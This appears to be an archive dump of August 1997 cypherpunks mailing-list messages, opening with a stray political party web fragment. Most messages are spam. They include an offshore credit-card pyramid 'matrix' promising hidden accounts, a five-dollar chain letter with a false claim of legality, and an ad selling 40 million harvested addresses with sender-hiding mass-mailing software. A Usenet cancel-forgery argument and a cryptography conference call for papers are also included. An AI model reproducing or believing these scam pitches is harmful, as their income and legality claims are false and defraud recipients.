http://www.gwb.com.au/hanson.html

Official Home Page of Pauline Hanson's One Nation Party
http://www.gwb.com.au/onenation

Pauline Hanson's One Nation Party Press Releases 
http://www.gwb.com.au/onenation/press/press.html

Thank you to all those who have offered support and volunteered their
services. The fight to put Australia back on track has just begun and it
will take all the support that we can get at the grass roots level to make
it happen.


One Nation contact details:
---------------------------

We will providing you with details on state branch contacts in the short term.

If you wish to contact One Nation please:  

Phone: (02) 9976 0283 or (02) 9976 0284
Fax:   (02) 9976 0285 


Pauline Hanson's One Nation


Pauline Hanson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promotions@web-promotions.com
Date: Sat, 2 Aug 1997 00:42:24 -0700 (PDT)
To: promotions@web-promotions.com
Subject: Fraud Control
Message-ID: <199708020404.AAA06976@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 34355680@rocketmail.com
Date: Sat, 2 Aug 1997 14:41:47 -0700 (PDT)
To: susan@lustingforyou.com
Subject: Sexy Images...
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: whynotu@NaturalInstincts.com
Date: Sat, 2 Aug 1997 10:06:24 -0700 (PDT)
To: whynotu@NaturalInstincts.com
Subject: Hello There
Message-ID: <199708021236.IAA16683@hitsrus.com>
MIME-Version: 1.0
Content-Type: text/plain





Please accept our apology if this was sent to you in error!
If we have by mistake, please see removal instructions below.
=============================================================          


Dear Friend:

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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

ORDER FORM

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[ ] Money Order

( ) Credit Card
 
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_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _


Thanks for your order, and best regards!



///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro E-Mail Software.  If you wish to
be removed from our future mailings, please reply with the subject "Remove" and 
this software will automatically block you from our future mailings.  Thank you.
////////////////////////////////////////////////////////////////////////////////






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 08:20:29 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <Pine.LNX.3.93.970731185306.693C-100000@shirley>
Message-ID: <V5aTae3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Thu, 31 Jul 1997, Adam Back wrote:
>

[detect multi-post]
> > That is cancel all but one groups worth of articles, and then modify
> > the Newsgroups line to cross-post to all the groups the article was
> > originally posted to.
>
> No that is worce,  it would be forgery of the orginal post.  In addtion it
> would violate the usenet requirement to avoid modifing the post.

In my opinion, the hnorable way to deal with multi-posts is to detect them
automatically and to ignore them. A NoCeM 'bot like the one run by the
Venerable CancelMoose is a good thing.

A compression scheme where many copies of the same text would be transmitted
only once even if they're posted once would be an excellent thing (given that
such traffic is a very substantial
portion of a full uncensored feed), but it's not crucial.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 08:21:08 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090412.58654@math.uiuc.edu>
Message-ID: <6PBTae5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> Adam Back <aba@dcs.ex.ac.uk> writes:
>
> > Newsadmins who auto-cancel cross-posts are acting counter-productively
> > and censorously.

Once again, the net.Scum who forges cancels are generally NOT news admins.

Please examine Net.Scum web pages for the self-appointed censors like
Tim Brown (http://www.netscum.net/brownt0.html) or Bob Curtis
(../curtisb0.html) when the site is up again.  Indeed, Bob Curtis's
example is very telling - he tried to "take over" an unmoderated
newsgroup, claiming to represent some "Usenet administration", and
forging cancels for articles that exposed his lies.

> 	I'm not aware of anybody that does that.  The only crossposts that
> are killed are those that reach a BI of 20, and for a single post to do
> that would require the message to be crossposted to 400 newsgroups.  Which
> doesn't happen.

Here's one counterexample. Yes, it's in the
regional relcom.* hierarchy.  Yes, there are lots of folks who forge cancels
for "inappropriate cross-posts" in the "big 8". I won't bother looking
for them because Tim Skirvin knows about it and is simply lying.

]Path: ...!www.nntp.primenet.com!globalcenter1!news.primenet.com!nntp.primenet.com!howland.erols.net!europa.clark.net!newsfeed.sovam.com!sovam!Gamma.RU!srcc!news1.relcom.ru!news1.relcom.ru!dmart
]From: dmart@news1.relcom.ru (Dmitri Martynoff)
]Newsgroups: relcom.commerce.computers,relcom.commerce.communications,relcom.demos.commerce,relcom.netnews,relcom.tcpip,relcom.www.users,relcom.www.support,relcom.hot-news,relcom.commerce.talk
]Subject: cmsg cancel <33c3c4a0.2317359@news2.worldweb.net>
]Control: cancel <33c3c4a0.2317359@news2.worldweb.net>
]Date: 9 Jul 1997 01:11:51 GMT
]Organization: Relcom/Eunet InterNetNews site
]Lines: 3
]Sender: vad@worldweb.net (Vadim Daskovsky)
]Approved: dmart@relcom.ru
]Message-ID: <5puogn$9f0$1@news1.relcom.ru>
]NNTP-Posting-Host: news1.relcom.ru
]
]Excessive crossposting a.k.a. SPAM canceled. See Usenet newsgroup
]news.admin.net-abuse.misc for details.
]Coordinator of relcom.* newsgroups Dmitri Martynoff <dmart@relcom.ru>.

And now some friends of Tim are forging cancels for any traffic originating
from UUNet, irrespective of contents, and Tim Skirvin approves of it.

Tell your news admin to stop processing cancels immediately.

> 	It might interest you to know that a cancel will kill all the
> crossposts in a single message, BTW.  Your "cancelling 99 of the 100
> articles thing" does save lots of reader time.
>
> 	(If you're going to talk about cancels authoritatively, please
> read my Cancel FAQ - it's got huge piles of information on this stuff.)

Please be advised that all of Tim Skirvin's FAQs are full of lies (except
for the parts plagiarized from David Stodolsky :-).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: money@guaranteed.com
Date: Sat, 2 Aug 1997 17:44:44 -0700 (PDT)
To: Friend@public.com
Subject: Credit Card w/$5,000 Limit GUARANTEED - NO CREDIT CHECK/SSN
Message-ID: <guaranteedcredit@card.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a one-time message.  If not interested, please delete, and you will never hear from us again.

$5000 WORTH OF CREDIT GUARANTEED!!

 * You Receive 2 Major Offshore Credit Cards!
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 * GUARANTEED APPROVAL!!!
 * 3 x 6 forced matrix could earn you $6,941 (or more) per month!!
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Our services could provide you with the funds you need to run your business effectively, or help you obtain the CREDIT that you deserve for use in everyday life.

BEST OF ALL....You may NEVER AGAIN have to pay for anything you charge!

****************************************************************************
As more domestic banks say "NO" to credit card applicants, an ever increasing number of credit card applicants find their way to safe and confidential offshore banks.  It's no secret that once you have established a few not so good remarks on your credit record, you will find it very difficult to obtain credit again.  

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How many people do you know who would love to have an Offshore Bank Card?
Hundreds? Thousands? Tens of Thousands?  Your OFFSHORE INCOME from referring others to our program will reflect how many people you can introduce to the
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You will benefit from your personal advertising efforts in two ways:

1) You will receive a $25 BONUS CHECK for every person that you personally sponsor.  PAID WEEKLY!!!  (only 4 referrals will earn back your initial processing fee).

2) Matrix participants will receive monthly commissions for all participants in your downline.
 
IT'S EASY TO APPLY!

Simply email to offshorecard@answerme.com and complete the Request Form with a payment of only $100.00.

How do I make payments on my credit card?

Your credit card may be paid through any ATM bank machine in the world or by mail, but... YOU MAY NEVER HAVE TO MAKE A PAYMENT!

When you choose us to help you get an Offshore Card you're automatically put into a 3 x 6 forced matrix (forced meaning that, if you fill one level, every person that's signed up under your automatically goes on to fill your next level, and so on) could earn you $6941.00 per month! You will be paying $25 per month in dues to the club for services rendered. This $25 will be DEBITED EACH MONTH from your account, and will allow you to receive commission checks for the banking activities of every person in your downline!

Matrix participants are recruited through a network of distributors worldwide. Participants earn monthly commissions on the dues ($25) paid by every member in good standing under them in a 3 x 6 forced matrix. 

Monthly commission schedule is as follows:  
Level 1 - 0% ($1.25) times 3 referrals on this level...[3x$0]..........$0.00
Level 2 - 10% ($2.50) times 9 referrals on this level....[9x$5].......$22.50 
Level 3 - 5% ($1.25) times 27 referrals on this level....[27x$1.25].$33.75
Level 4 - 10% ($2.50) times 81 referrals on this level..[81x$2.50]..$202.50
Level 5 - 20% ($5.00) times 243 referrals on this level.[243x$5.00].$1215.00
Level 6 - 30% ($7.50) times 729 referrals on this level.[729x$7.50].$5467.00

Total: $6941.25 Per Month!!

(referrals are the number of people underneath you in the matrix--a combination of the people you refer, and the people they refer, etc.)

All the money earned as a result of matrix participation is deposited AS A PAYMENT to the member's credit card account! If their commissions
exceed the minimum monthly payment, no further payments are required that month.  (i.e. enroll 3 people in a month and you will more than likely have covered
your minimum payment for anything you charge that month, just from the enrollee's bonuses! Develop a large downline, and your entire monthly charges
could be ZEROED OUT each month!), or better yet, you will receive $6941.00 CREDIT in your account!  Imagine what you could do with $6941.00 PER MONTH CREDIT!!

NO REPORTING OF YOUR CARD ACTIVITY TO CREDIT BUREAUS: 
Since these cards are not issued through the North American banking institutions and credit reporting systems, the existence and details of your account activity are not disclosed to government agencies or credit bureaus.

ASSET PROTECTION: 
Your card deposits are virtually unreachable by creditors.

PRESTIGE: 
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Plus, of course, all of the regular benefits of a universally recognized and accepted credit card; Identification and check guarantees; Dining out, hotel and car rental reservations, travel, and much more!

Matrix participants agree to pay $300.00 per annum for services rendered by our club. This amount is charged to your credit card in 12 monthly installments of $25.00 each, and is then re-distributed among active Matrix Participants according to the above schedule.

For an application & FAQ email offshorecard@answerme.com

P.S. - EXTRA OFFER - If you'd like information on obtaining 2 MORE Guaranteed Cards (same application fee, amount of credit and opportunity to earn money), please email application@answerme.com and we'll send off the applications to you ASAP!

Thank you for your time.  This will be one of the best decisions that you ever make!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ron@ebonyworld.com
Date: Sat, 2 Aug 1997 16:24:16 -0700 (PDT)
To: ron@ebonyworld.com
Subject: Hot Nude Male & Female Pics!!
Message-ID: <199708022252.SAA10907@56-1.clever.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 53573730@usa.net
Date: Sun, 3 Aug 1997 18:41:00 -0700 (PDT)
To: investors@usa.net
Subject: Investing on the Web?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


       INVESTORS, BROKER/DEALERS, AND BUSINESS OWNERS!

     The Global Stock Exchange  has a new service on the web that will alert 
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     For funding options visit:   GSE5.

Thank you,  
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The Global-Stock-Exchange


     If this message offends you in any way, please accept my apology for 
disturbing you.   Just reply to   GSE  
 with "remove" in the Subject or the Message section of the reply mail and
 your name will be removed from our database.

     To be globally removed from all lists go to   IEMMC.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sun, 3 Aug 1997 23:43:12 -0700 (PDT)
To: you@yourplace.com
Subject: Boost Your Sales With 40 Million New Prospects!
Message-ID: <199702161035.GAA08056@bizproplus.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
To be removed from our email list, send a blank email to 
      remmee@answerme.com
We will also send you the URLs of two sites where you can go to have your 
name removed from hundreds of mailing lists!             
======================================================================

       The BEST Deal On Email Addresses Is Right Here!

You can find email lists all over the place. If you buy from the wrong
source, you will end up paying too much and recieving all flames and no
orders.
                      Not if you buy your list here!

Our email lists are compiled from a number of different sources. Each list
we sell is checked against our extensive remove list to reduce the number
of flames you recieve. In addition, we make our lists available at very
reasonable prices.

Just look at what our competition is charging for their lists:

                        10,000               $50.00
                         20,000              $100.00
                         30,000              $150.00
                         40,000              $200.00
                         50,000              $250.00
                         60,000              $300.00
                         70,000              $350.00
                         80,000              $400.00
                         90,000              $450.00
                        100,000              $500.00

                        These prices are OUTRAGEOUS!

Because we believe that everyone should have access to email lists, we are
offering our lists for the low, low price of $99 per million!
That's right! Only $99 gets you a list of 1,000,000 prospects to email your
ad to! 
                 UPDATE******************************UPDATE
As of Monday, July 14 we will be offering our complete email list for sale.
The list consists of 40 million email addresses gleaned from a variety of 
domains. By purchasing the entire list, you can save BIG! The addresses will 
be shipped on CD ROM in plain text files. 

NO UNZIPPING!!
Because the files are on CD-ROM, they do not have to be zipped in order
save space. 

NO PASSWORDS!!
Why should you waste your time looking up codes to unzip your address files
when you could be making money?
   --You Shouldn't!
That is why our CD will contain no password protection or zipped files. They
are truly ready to be mailed.

This list of 40 million prospects can be yours for the amazingly low price
of only $349.95.  

These addresses will be checked against our extensive remove
list to reduce the chance of you being flamed. Of course, there is no sure
fire guarantee against flames, but this will definitely help.

**No one can flame you if they don't know your email address. Only give
your email address to your customers. Not only does this reduce flames, it
also protects your internet account from termination.

                     How do I protect my email address?
1st of all, send your email with the Stealth Mass Mailer. This program will
protect your email address while sending your mail at speeds of up to
250,000 messages per hour (28.8 connection).
2nd, collect your inquiries and remove requests via AutoResponders . Using
AutoResponders, you don't even have to read the flames. Just move them to
your remove list and forget about them!

Read about the Stealth by sending an email to stealth44@answerme.com

***********SPECIAL!!!**********
If you order within 7 days, we will give you a fully functional 10 day 
demo of the Stealth Mass Mailer to mail your ad with.

                                ORDER FORM:

Please print out this order form and then fill in the blanks......
   If you have any questions, please do not hesitate to call us at 504-767-6400

___Please send me 40 million email addresses for a total price of $349.95

___I am ordering within 7 days. Please include my free demo copy of the 
   most powerful bulk email software available -- Stealth Mass Mailer.

YOUR NAME____________________________________________

COMPANY NAME_________________________________________

YOUR POSITION_________________________________________

STREET ADDRESS________________________________________

CITY, STATE, ZIP______________________________________

PHONE NUMBERS_________________________________________

FAX NUMBERS___________________________________________

EMAIL ADDRESSES_______________________________________

We accept Checks, Money Orders and Visa, MasterCard or American Express by
mailor Credit Cards by fax. All checks will be held until cleared. For
fastest service use credit card or money order.

I agree to pay Mitchell Enterprises an additional $27 fee if my check is
returned for insufficient or uncollectable funds.

SIGNATURE: X_________________________________DATE:__________________

Please send all order forms and check, money order or credit card
authorization to:

Mitchell Enterprises
P. O. Box 80742
Baton Rouge, LA 70898

************************************************************
OR:
Fax Your Credit Card Authorization to:
504-767-6400
Visa____MasterCard____American Express____

Account #

Expiration Date

Address (as it appears on the card)

Zip (as it appears or the card)

Signature__________________________

*************************************************************
OR:
Fax or Your Check
Tape your check here and fax to 504-767-6400

*************************************************************
************************************************************
For info on Floodgate bulk email manager send an email to 
       flood@answerme.com

For info on Stealth Mass Mailer send an email to
       stealth44@answerme.com

For info on starting your own internet business write 
       buskit@answerme.com
       mitinfo@answerme.com

</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 56098393@rocketmail.com
Date: Mon, 4 Aug 1997 17:56:17 -0700 (PDT)
To: susan@lustingforyou.com
Subject: Finally Found You :^)
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


This site is the best that I have seen.
They Have Everything ;^)
Meet me in the chat area between
8pm and 1am. I will be either in the
Male or Female area, I like them both.
                  
http://www.adultfunshop.com
                  
I am there every night :^)
I Miss You
	Jenny ;^0~

P.S. Sorry I didn't write you earlier
     But my computer crashed and I lost
     your email address.  Found you on
     one of those People search engines.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sei@gosnet.com (Foreign Sales 4U)
Date: Mon, 4 Aug 1997 08:43:12 -0700 (PDT)
To: scot2361@mohaveksonz.com
Subject: FREE SAMPLES......FOREIGN SALES
Message-ID: <199708043242FAA56018@21564561HG.5145345H.4684664KAA4.86.32.7>
MIME-Version: 1.0
Content-Type: text/plain



 =============================
 THIS IS A ONE TIME MESSAGE... 
 =============================

WE LOCATED YOUR COMPANY ON THE INTERNET.........AND KNOW HOW TO MAKE 
FOREIGN SALES  FOR YOU..............WE WANT TO SEND THE PRESIDENT
OF THE COMPANY SOME EXAMPLES OF OUR WORK WITH YOUR EXACT PRODUCT. 

WHAT IS THE NAME OF THE PRESIDENT OF YOUR COMPANY PLEASE??????
WOULD YOU BE SO KIND AS TO  E-MAIL US  HIS/HER NAME.

THANK YOU.........IRENE NATHAN........SCOTT ALLEN

EXPORT SALES......email us at: user2361@servmail.com
 ..FOREIGN S




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: promotions@web-promotions.com
Date: Mon, 4 Aug 1997 15:02:48 -0700 (PDT)
To: promotions@web-promotions.com
Subject: Regarding your check
Message-ID: <199708041615.MAA10820@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Clickers paying from 3¢ to 5¢ per click PLUS BONUS up to $500 paid to sites
with QUALITY traffic each and EVERY month.

We are looking for serious players who want to make serious money.

No messing around, WE PAY ON TIME, WEEKLY and by WIRE if you choose.

Site size for bonus is not important, just the QUALITY of your traffic.

Check out http://www.clickers.net for more information.

WHAT HAVE YOU GOT TO LOSE?



Richard
Clickers Admin





~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This message has been sent by Web-Promotions.Com  and adheres to all North American laws pertaining to Bulk Email.

If you would like to be removed from future mailings please respond back to the sending address
and put REMOVE in the SUBJECT BOX. Placing the word remove in any other area of the email may go unnoticed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: myattkk@bellatlantic.net
Date: Mon, 4 Aug 1997 17:21:11 -0700 (PDT)
To: myattkk@bellatlantic.net
Subject: VIRGINIA CORP RECORDS/OFFICERS/RA
Message-ID: <199708050022.TAA27305@mail1.bellatlantic.net>
MIME-Version: 1.0
Content-Type: text/plain


>From YOUR OFFICE or HOME enjoy convenient 24-HOUR ACCESS to:

************STATE CORPORATE FILING RECORDS************

>VIRGINIA 
-----Corporate/Charter Information (i.e. Resident Agent, Date of Incorporation, Status, State ID #, Amendments, Officers, Merger & Stock Info, Reserved/Registered/Old/Ficticious Names)

>MARYLAND
-----Charter & Personal Property Filings (i.e. Resident Agent, Date of Incorporation, Status, State ID #, Amendments, Film/folio/File Location of Abstracts, Last 2 years' Personal Property Tax Filings)

-----Uniform Commercial Code Filings (i.e. Debtors, Assignees, Secured Parties, Amendments & Status)

-----Real Property Public Release Information (i.e. Owner, Last Transfer, Assessment, Map, Parcel, Deed information, etc...)


No purchases, registration or subscription, only a nominal usage fee.  Excellent service for both occasional and frequent users of this information.  Most any communication software that gives you the use of a VT-220 terminal emulation will work with our system.  Just set up your communication software according to our instructions and 

$$$$$$$$$$$$$$$$$$$$$   GO  ONLINE  NOW! ! !   $$$$$$$$$$$$$$$$$$$

Call for more details,                 1-800-463-6009



///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Smitty <cag1465@onestopshop.net>
Date: Mon, 4 Aug 1997 21:06:21 -0700 (PDT)
Subject: Online Merchant Accounts...Accept Credit Cards!  Low Rates!
Message-ID: <199708050406.VAA28351@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi there,

Credit Cards are the universal currency of the Internet, and, if you want to do business online, you need to be able to Accept Visa, Mastercard and American Express cards on your Web site.

Trouble is, many banks won't give merchant status to businesses that are new, home-based or located in cyberspace instead of a real-world storefront or mall.  That's why we're pleased to present a special offer from USConnect, a major merchant account provider that's helping companies like yours get merchant status on the Net.


The benefits include:

* 2% Discount Rate

* No Monthly Minimum Billing Fee

* No Statement Fee if No Sales Made for the Month

* Money Available in 2 Business Days

* Windows-Based or Macintosh Compatible Credit Card Processing Software (Available)

* Shopping Cart System To Take Orders Securely Right On-Line (Available)

* Referral Program - $100-$200 Rewards For Each Referred Account

*And Much, Much More. . . .!

I invite you to browse our website for more information and registration:

Go to: Accept Credit Cards Online

Apply now and start your cash flowing today!




If you wish to be removed from our mailing list, please click "PLEASE REMOVE" 
and type REMOVE in the subject field.
  
























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Hirschfeld <R.Hirschfeld@cwi.nl>
Date: Mon, 4 Aug 1997 15:30:44 -0700 (PDT)
To: ray@cwi.nl
Subject: Financial Cryptography '98 Call for Papers
Message-ID: <UTC199708042206.AAA09154=ray@prauw.cwi.nl>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '98
		   Second International Conference
		 February 23-26, 1998, Anguilla, BWI
			   CALL FOR PAPERS


General Information:

Financial Cryptography '98 (FC98) is a conference on the security of
digital financial transactions.  Meetings alternate between the island
of Anguilla in the British West Indies and other locations.  This
second meeting will be held in Anguilla on February 23-26, 1998.  FC98
aims to bring together persons involved in both the financial and data
security fields to foster cooperation and exchange of ideas.

Original papers are solicited on all aspects of financial data
security and digital commerce in general, including

    Anonymous Payments                      Fungibility       
    Authentication                          Home Banking       
    Communication Security                  Identification     
    Conditional Access                      Implementations    
    Copyright Protection                    Loss Tolerance     
    Credit/Debit Cards                      Loyalty Mechanisms 
    Currency Exchange                       Legal Aspects      
    Digital Cash                            Micropayments      
    Digital Receipts                        Network Payments   
    Digital Signatures                      Privacy Issues     
    Economic Implications                   Regulatory Issues  
    Electronic Funds Transfer               Smart Cards        
    Electronic Purses                       Standards
    Electronic Voting                       Tamper Resistance
    Electronic Wallets                      Transferability


Instructions for Authors:

Send a cover letter and 12 copies of an extended abstract to be
received by November 17, 1997 (or postmarked by November 7, 1997 and
sent via airmail) to the Program Chair at the address given below.

The extended abstract should start with the title, the names of the
authors, and an abstract followed by a succinct statement appropriate
for a non-specialist reader specifying the subject addressed, its
background, the main achievements, and their significance to financial
data security.  Submissions are limited to 15 single-spaced pages of
12pt type.  Notification of acceptance or rejection will be sent to
authors no later than January 12, 1998.

Authors of accepted papers must guarantee that their paper will
be presented at the conference.


Proceedings:

Proceedings of the conference will be published by Springer Verlag in
their Lecture Notes in Computer Science (LNCS) series.  Preproceedings
will be available at the conference, but final versions will not be
due until afterwards, giving authors the opportunity to revise their
papers based on presentations and discussions at the meeting.
Instructions and deadlines for submission of final papers will be sent
later to authors of accepted papers.


Rump Session:

In addition to the regular conference program, a rump session will be
held to provide an opportunity for less formal presentations.
Although the rump session will be organized during the conference
itself, any advance proposals may be sent to the Program Co-Chair at
the email address given below.  Rump session contributions will not
appear in the conference proceedings.


Stipends:

A very limited number of stipends may be available to those unable to
obtain funding to attend the conference.  Students whose papers are
accepted and who will present the paper themselves are encouraged to
apply if such assistance is needed.  Requests for stipends should be
addressed to one of the General Chairs.


Registration:

Information about conference registration and on travel, hotels, and
Anguilla itself will follow in a separate general announcement.  There
will be special discount registration rates for authors of accepted
submissions, full-time academics, and students.


Workshop:

A workshop, intended for anyone with commercial software development
experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with
FC98, to be held during the week preceding the conference.  For
information, please contact one of the General Chairs.


Send Submissions to:

Rafael Hirschfeld
FC98 Program Chair
CWI
Kruislaan 413
1098 SJ Amsterdam
The Netherlands
email: ray@cwi.nl
phone: +31 20 592 4169
fax: +31 20 592 4199


Send Rump Session Contributions to:

Matthew Franklin
FC98 Program Co-Chair
email: franklin@research.att.com


Program Committee:

Matt Blaze, AT&T Laboratories--Research, Florham Park, NJ, USA
Antoon Bosselaers, Katholieke Universiteit Leuven, Leuven, Belgium
Yves Carlier, Bank for International Settlements, Basel, Switzerland
Walter Effross, Washington College of Law, American U., Washington DC, USA
Matthew Franklin, AT&T Laboratories--Research, Florham Park, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld, CWI, Amsterdam, The Netherlands
Alain Mayer, Bell Laboratories/Lucent Technologies, Murray Hill, NJ, USA
Moni Naor, Weizmann Institute of Science, Rehovot, Israel
Frank Trotter, Mark Twain Ecash/Mercantile Bank, St. Louis, MO, USA
Doug Tygar, Carnegie Mellon University, Pittsburgh, PA, USA
Moti Yung, CertCo LLC (formerly: Bankers Trust E-Commerce), New York, NY, USA


General Chairs:

Robert Hettinga, Shipwright, Boston, MA, USA
   email: rah@shipwright.com
Vincent Cate, Offshore Information Services, Anguilla, BWI
   email: vince@offshore.com.ai


Exhibits and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA
   email: rackliffe@tcm.org


Workshop Leader:

Ian Goldberg, Berkeley, CA, USA
   email: iang@cs.berkeley.edu


Those interested in becoming a sponsor of FC98 or in purchasing
exhibit space, please contact the Exhibits and Sponsorship Manager.

A copy of this call for papers as well as other information about the
conference will be available at URL http://www.cwi.nl/conferences/FC98.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freegift@S&Bmail.com
Date: Tue, 5 Aug 1997 06:43:09 -0700 (PDT)
To: freegift@S&amp;Bmail.com
Subject: FREE GIFT!
Message-ID: <199473170025.GAA08056@S&Bmail.com>
MIME-Version: 1.0
Content-Type: text/plain



$$$ NEED MONEY RIGHT NOW? $$$

HONEST "PEOPLE HELPING PEOPLE" OPPORTUNITY
100 TIMES MORE EFFECTIVE THAN MLM

You WILL have $7,000 in 2 weeks Guaranteed!
Only A $10 is the total Cost!!!AND 1 HOUR of work!

PLEASE READ TO FIND OUT HOW!

THIS is the fastest, easiest program you will ever be able to do.  Complete it in One hourand you will never forget ther day you first received it.  If you are doing other programs, by all means stay with them.  The more the merrier!  But use this program FAST CASH!

Please Read On!

There are only THREE LEVELS.  This three-level program is more realistic and much, much faster.  Because it is so easy, the response rate is VERY HIGH and VERY FAST, and you will receive your rewards in about FOURTEEN DAYS.  Thats only TWO WEEKS- not three months.  Buy the toys you have been dreaming of!

Cindy Allen tells how she ran this gift summation four times last year.  The first time, she received $3,000 in cash in two weeks and then $7,000 in cash the next three times.  When this letter is continued as it should be, EVERYONE PROFITS!!  Don't be afraid to make gifts to strangers, they'll come back to you ten fold.  Many of us have pet programs that we want to support: food, medicine, children, or Maybe you just need a new car or want to pay off some bills.  THIS WILL DO IT FOR YOU!!

HERE ARE THE SIMPLE DETAILS

You email as many as possible, GETTING JUST 20 TO PARTICIPATE.  You should send them to PEOPLE WHO SEND YOU THEIR PROGRAMS, because they are already believers and your program is FASTER AND BETTER!  This takes a very small investment so TRY IT!

JUST GIVE TWO PEOPLE A $5 BILL. Thats it, Thats all!  Follow these simple instructions and in two weeks you will have at least $7,000 because many people WILL respond due to the LOW INVESTMENT, SPEED of RETURN and HIGH PROFIT POTENTIAL! So let's help keep it going, and help each other!!!

1.On a blank sheet of paper, write your email address, name, and address clearly, write "put me on your mailing list" and fold it around a FIVE DOLLAR BILL.  Send it to the FIRST AND LAST NAMES on the list.  ONLY THE FIRST AND LAST PERSON ON THE LIST GETS YOUR NAME AND A FIVE DOLLAR GIFT.  Only after sending to the First and LAST NAMES can you go to STEP 2.

2.DELETE NAME #3 ON THE LIST , MOVE ORIGINAL NAME #1 DOWN TO #2 AND #2 TO #3, THEN ADD YOUR NAME AND ADDRESS TO SPOT #1

3.Copy & Save the letter, then email AS MANY copies of this letter as possible.  An excellent source of names is the people who send you other programs, and the names listed on the letters that they send you.  Do it right away.  It's so easy! Don't mull it over.  ONE HOUR! THATS IT!

There is no mailing list to wait for or buy.  You can do it again and again with your regular group of gifters. WHY NOT?  It pays to help others!  Your name and address is used twice in the 3 name list mailing. 20x20x20=8000x$5x18%reply rate= $7000

C'mon! The prospect of an easy $7,000 to $10,000 in TWO WEEKS is worth a little experimentation and only One hour of your time and TWO $5 bills(cash)

Legality Issue?
According to title 18, Section 1302 &1342 of the US Postal and Lotery laws, any mailings that provides a service is 100% legal.

Summary:
